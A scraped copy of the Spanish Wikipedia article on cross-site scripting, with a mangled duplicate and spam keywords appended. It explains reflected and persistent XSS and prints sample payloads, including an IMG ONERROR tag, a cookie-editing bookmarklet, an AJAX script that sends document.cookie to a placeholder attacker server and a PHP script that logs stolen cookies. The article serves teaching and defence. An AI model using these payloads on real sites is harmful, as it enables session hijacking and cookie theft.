fbpx
Wikipedia

Cross-site scripting

Una secuencia de comandos en sitios cruzados o Cross-site scripting (XSS por sus siglas en idioma inglés) es un tipo de vulnerabilidad informática o agujero de seguridad típico de las aplicaciones Web, que puede permitir a una tercera persona inyectar en páginas web visitadas por el usuario código JavaScript o en otro lenguaje similar (ej: VBScript).[1]​ Se puede evitar usando medidas como CSP, política del mismo origen, etcétera.

El diagrama de secuencia del ataque de secuencias de comandos entre sitos

Es posible encontrar una vulnerabilidad de Cross-Site Scripting en aplicaciones que tengan entre sus funciones presentar la información en un navegador web u otro contenedor de páginas web. Sin embargo, no se limita a sitios web disponibles en Internet, ya que puede haber aplicaciones locales vulnerables a XSS, o incluso el navegador en sí.

Mecanismo de ataque

XSS es un vector de ataque que puede ser utilizado para robar información delicada, secuestrar sesiones de usuario, y comprometer el navegador, subyugando la integridad del sistema. Las vulnerabilidades XSS han existido desde los primeros días de la Web.[2]

Esta situación es habitualmente causada al no validar correctamente los datos de entrada que son usados en cierta aplicación, o no sanear la salida adecuadamente para su presentación como página web.

Esta vulnerabilidad puede estar presente de las siguientes formas:

  • Directa (también llamada Persistente): este tipo de XSS comúnmente filtrado, y consiste en insertar código HTML peligroso en sitios que lo permitan; incluyendo así etiquetas como <script> o <iframe>.
  • Indirecta (también llamada Reflejada): este tipo de XSS consiste en modificar valores que la aplicación web utiliza para pasar variables entre dos páginas, sin usar sesiones y sucede cuando hay un mensaje o una ruta en la URL del navegador, en una cookie, o cualquier otra cabecera HTTP (en algunos navegadores y aplicaciones web, esto podría extenderse al DOM del navegador).

XSS Indirecto (reflejado)

Supongamos que un sitio web tiene la siguiente forma:

http://www.example.com/home.asp?frame=menu.asp

y que al acceder se creará un documento HTML enlazando con un frame a menu.asp.

En este ejemplo, ¿qué pasaría si se pone como URL del frame un código javascript?

 javascript:while(1)alert("Este mensaje saldrá indefinidamente"); 

Si este enlace lo pone un atacante hacia una víctima, un visitante podrá verlo y verá que es del mismo dominio, suponiendo que no puede ser nada malo y de resultado tendrá un bucle infinito de mensajes.

Un atacante en realidad trataría de colocar un script que robe las cookies de la víctima, para después poder personificarse como con su sesión, o hacer automático el proceso con el uso de la biblioteca cURL o alguna similar. De esta forma, al recibir la cookie, el atacante podría ejecutar acciones con los permisos de la víctima sin siquiera necesitar su contraseña.

Otro uso común para estas vulnerabilidades es lograr hacer phishing. Quiere ello decir que la víctima ve en la barra de direcciones un sitio, pero realmente está en otra. La víctima introduce su contraseña y se la envía al atacante.

Una página como la siguiente:

 error.php?error=Usuario%20Invalido 

es probablemente vulnerable a XSS indirecto, ya que si escribe en el documento "Usuario Inválido", esto significa que un atacante podría insertar HTML y JavaScript si así lo desea.

Por ejemplo, un tag como <script> que ejecute código javascript, cree otra sesión bajo otro usuario y mande la sesión actual al atacante.

Para probar vulnerabilidades de XSS en cookies, se puede modificar el contenido de una cookie de forma sencilla, usando el siguiente script. Solamente se debe colocar en la barra de direcciones, y presionar 'Enter'.

javascript:void prompt("Introduce la cookie:",document.cookie).replace(/[^;]+/g,function(_){document.cookie=_;}); 

XSS Directo (persistente)

Funciona localizando puntos débiles en la programación de los filtros de HTML si es que existen, para publicar contenido (como blogs, foros, etc.).

Normalmente el atacante tratara de insertar tags como <iframe>, o <script>, pero en caso de fallar, el atacante puede tratar de poner tags que casi siempre están permitidas y es poco conocida su capacidad de ejecutar código. De esta forma el atacante podría ejecutar código malicioso.

Ejemplos: Una posibilidad es usar atributos que permiten ejecutar código.

<BR STYLE="behavior: url(http://yoursite/xss.htc);"> <DIV STYLE="background-image: url(javascript:alert('XSS'))"> <IMG SRC=X ONERROR="alert(/XSS/)"> 

AJAX

Usar AJAX para ataques de XSS no es tan conocido, pero sí peligroso. Se basa en usar cualquier tipo de vulnerabilidad de XSS para introducir un objeto XMLHttp y usarlo para enviar contenido POST, GET, sin conocimiento del usuario.

Este se ha popularizado con gusanos de XSS que se encargan de replicarse por medio de vulnerabilidades de XSS persistentes (aunque la posibilidad de usar XSS reflejados es posible).

El siguiente script de ejemplo obtiene el valor de las cookies y seguidamente las enviaría al atacante.

Javascript:

var cookiesDeUsuario = document.cookie; var xhr = new XMLHttpRequest(); // Objeto Ajax xhr.open('GET', 'www.servidor-atacante.com/cookies.php'); xhr.send('c=' + cookiesDeUsuario); 

PHP (servidor del atacante):

<?php $archivo = fopen('log2.htm','a'); $cookie = $_GET['c']; $ip = getenv ('REMOTE_ADDR'); $re = $HTTPREFERRER; $fecha=date("j F, Y, g:i a"); fwrite($archivo, '<br />Cookie: '.htmlentities($cookie).'<br />Página: '.htmlentities($re)); fwrite($archivo, '<br /> IP: ' .$ip. '<br /> Fecha y Hora: ' .$fecha. '</hr>'); fclose($archivo); ?> 

Notas y referencias

  1. (html). OWASP (en inglés). Archivado desde el original el 24 de enero de 2020. Consultado el 14 de abril de 2020. «Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.» 
  2. Jeremiah Grossman; Robert Hansen; Petko D. Petkov; Anton Rager;Seth Forgie (2007). Seth Forgie, ed. XSS Attacks: Cross site scripting Exploits and Defense (en inglés). p. 11. ISBN 1597491543. 

Enlaces externos

  • HTML5 Security Cheatsheet
  • XSS FAQ
  •   Datos: Q371199
  •   Multimedia: Category:Cross-site scripting

cross, site, scripting, secuencia, comandos, sitios, cruzados, siglas, idioma, inglés, tipo, vulnerabilidad, informática, agujero, seguridad, típico, aplicaciones, puede, permitir, tercera, persona, inyectar, páginas, visitadas, usuario, código, javascript, ot. Una secuencia de comandos en sitios cruzados o Cross site scripting XSS por sus siglas en idioma ingles es un tipo de vulnerabilidad informatica o agujero de seguridad tipico de las aplicaciones Web que puede permitir a una tercera persona inyectar en paginas web visitadas por el usuario codigo JavaScript o en otro lenguaje similar ej VBScript 1 Se puede evitar usando medidas como CSP politica del mismo origen etcetera El diagrama de secuencia del ataque de secuencias de comandos entre sitos Es posible encontrar una vulnerabilidad de Cross Site Scripting en aplicaciones que tengan entre sus funciones presentar la informacion en un navegador web u otro contenedor de paginas web Sin embargo no se limita a sitios web disponibles en Internet ya que puede haber aplicaciones locales vulnerables a XSS o incluso el navegador en si Indice 1 Mecanismo de ataque 2 XSS Indirecto reflejado 3 XSS Directo persistente 4 AJAX 5 Notas y referencias 6 Enlaces externosMecanismo de ataque EditarXSS es un vector de ataque que puede ser utilizado para robar informacion delicada secuestrar sesiones de usuario y comprometer el navegador subyugando la integridad del sistema Las vulnerabilidades XSS han existido desde los primeros dias de la Web 2 Esta situacion es habitualmente causada al no validar correctamente los datos de entrada que son usados en cierta aplicacion o no sanear la salida adecuadamente para su presentacion como pagina web Esta vulnerabilidad puede estar presente de las siguientes formas Directa tambien llamada Persistente este tipo de XSS comunmente filtrado y consiste en insertar codigo HTML peligroso en sitios que lo permitan incluyendo asi etiquetas como lt script gt o lt iframe gt Indirecta tambien llamada Reflejada este tipo de XSS consiste en modificar valores que la aplicacion web utiliza para pasar variables entre dos paginas sin usar sesiones y sucede cuando hay un mensaje o una ruta en la URL del navegador en una cookie o cualquier otra cabecera HTTP en algunos navegadores y aplicaciones web esto podria extenderse al DOM del navegador XSS Indirecto reflejado EditarSupongamos que un sitio web tiene la siguiente forma http www example com home asp frame menu aspy que al acceder se creara un documento HTML enlazando con un frame a menu asp En este ejemplo que pasaria si se pone como URL del frame un codigo javascript javascript while 1 alert Este mensaje saldra indefinidamente Si este enlace lo pone un atacante hacia una victima un visitante podra verlo y vera que es del mismo dominio suponiendo que no puede ser nada malo y de resultado tendra un bucle infinito de mensajes Un atacante en realidad trataria de colocar un script que robe las cookies de la victima para despues poder personificarse como con su sesion o hacer automatico el proceso con el uso de la biblioteca cURL o alguna similar De esta forma al recibir la cookie el atacante podria ejecutar acciones con los permisos de la victima sin siquiera necesitar su contrasena Otro uso comun para estas vulnerabilidades es lograr hacer phishing Quiere ello decir que la victima ve en la barra de direcciones un sitio pero realmente esta en otra La victima introduce su contrasena y se la envia al atacante Una pagina como la siguiente error php error Usuario 20 Invalido es probablemente vulnerable a XSS indirecto ya que si escribe en el documento Usuario Invalido esto significa que un atacante podria insertar HTML y JavaScript si asi lo desea Por ejemplo un tag como lt script gt que ejecute codigo javascript cree otra sesion bajo otro usuario y mande la sesion actual al atacante Para probar vulnerabilidades de XSS en cookies se puede modificar el contenido de una cookie de forma sencilla usando el siguiente script Solamente se debe colocar en la barra de direcciones y presionar Enter javascript void prompt Introduce la cookie document cookie replace g function document cookie XSS Directo persistente EditarFunciona localizando puntos debiles en la programacion de los filtros de HTML si es que existen para publicar contenido como blogs foros etc Normalmente el atacante tratara de insertar tags como lt iframe gt o lt script gt pero en caso de fallar el atacante puede tratar de poner tags que casi siempre estan permitidas y es poco conocida su capacidad de ejecutar codigo De esta forma el atacante podria ejecutar codigo malicioso Ejemplos Una posibilidad es usar atributos que permiten ejecutar codigo lt BR STYLE behavior url http yoursite xss htc gt lt DIV STYLE background image url javascript alert XSS gt lt IMG SRC X ONERROR alert XSS gt AJAX EditarUsar AJAX para ataques de XSS no es tan conocido pero si peligroso Se basa en usar cualquier tipo de vulnerabilidad de XSS para introducir un objeto XMLHttp y usarlo para enviar contenido POST GET sin conocimiento del usuario Este se ha popularizado con gusanos de XSS que se encargan de replicarse por medio de vulnerabilidades de XSS persistentes aunque la posibilidad de usar XSS reflejados es posible El siguiente script de ejemplo obtiene el valor de las cookies y seguidamente las enviaria al atacante Javascript var cookiesDeUsuario document cookie var xhr new XMLHttpRequest Objeto Ajax xhr open GET www servidor atacante com cookies php xhr send c cookiesDeUsuario PHP servidor del atacante lt php archivo fopen log2 htm a cookie GET c ip getenv REMOTE ADDR re HTTPREFERRER fecha date j F Y g i a fwrite archivo lt br gt Cookie htmlentities cookie lt br gt Pagina htmlentities re fwrite archivo lt br gt IP ip lt br gt Fecha y Hora fecha lt hr gt fclose archivo gt Notas y referencias Editar Cross Site Scripting XSS html OWASP en ingles Archivado desde el original el 24 de enero de 2020 Consultado el 14 de abril de 2020 Cross Site Scripting XSS attacks are a type of injection in which malicious scripts are injected into otherwise benign and trusted websites XSS attacks occur when an attacker uses a web application to send malicious code generally in the form of a browser side script to a different end user Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it Jeremiah Grossman Robert Hansen Petko D Petkov Anton Rager Seth Forgie 2007 Seth Forgie ed XSS Attacks Cross site scripting Exploits and Defense en ingles p 11 ISBN 1597491543 Enlaces externos EditarHTML5 Security Cheatsheet Ejemplo de problemas generados por una vulnerabilidad de XSS XSS FAQ Datos Q371199 Multimedia Category Cross site scripting Obtenido de https es wikipedia org w index php title Cross site scripting amp oldid 142751691, wikipedia, wiki, leyendo, leer, libro, biblioteca,

español

, española, descargar, gratis, descargar gratis, mp3, video, mp4, 3gp, jpg, jpeg, gif, png, imagen, música, canción, película, libro, juego, juegos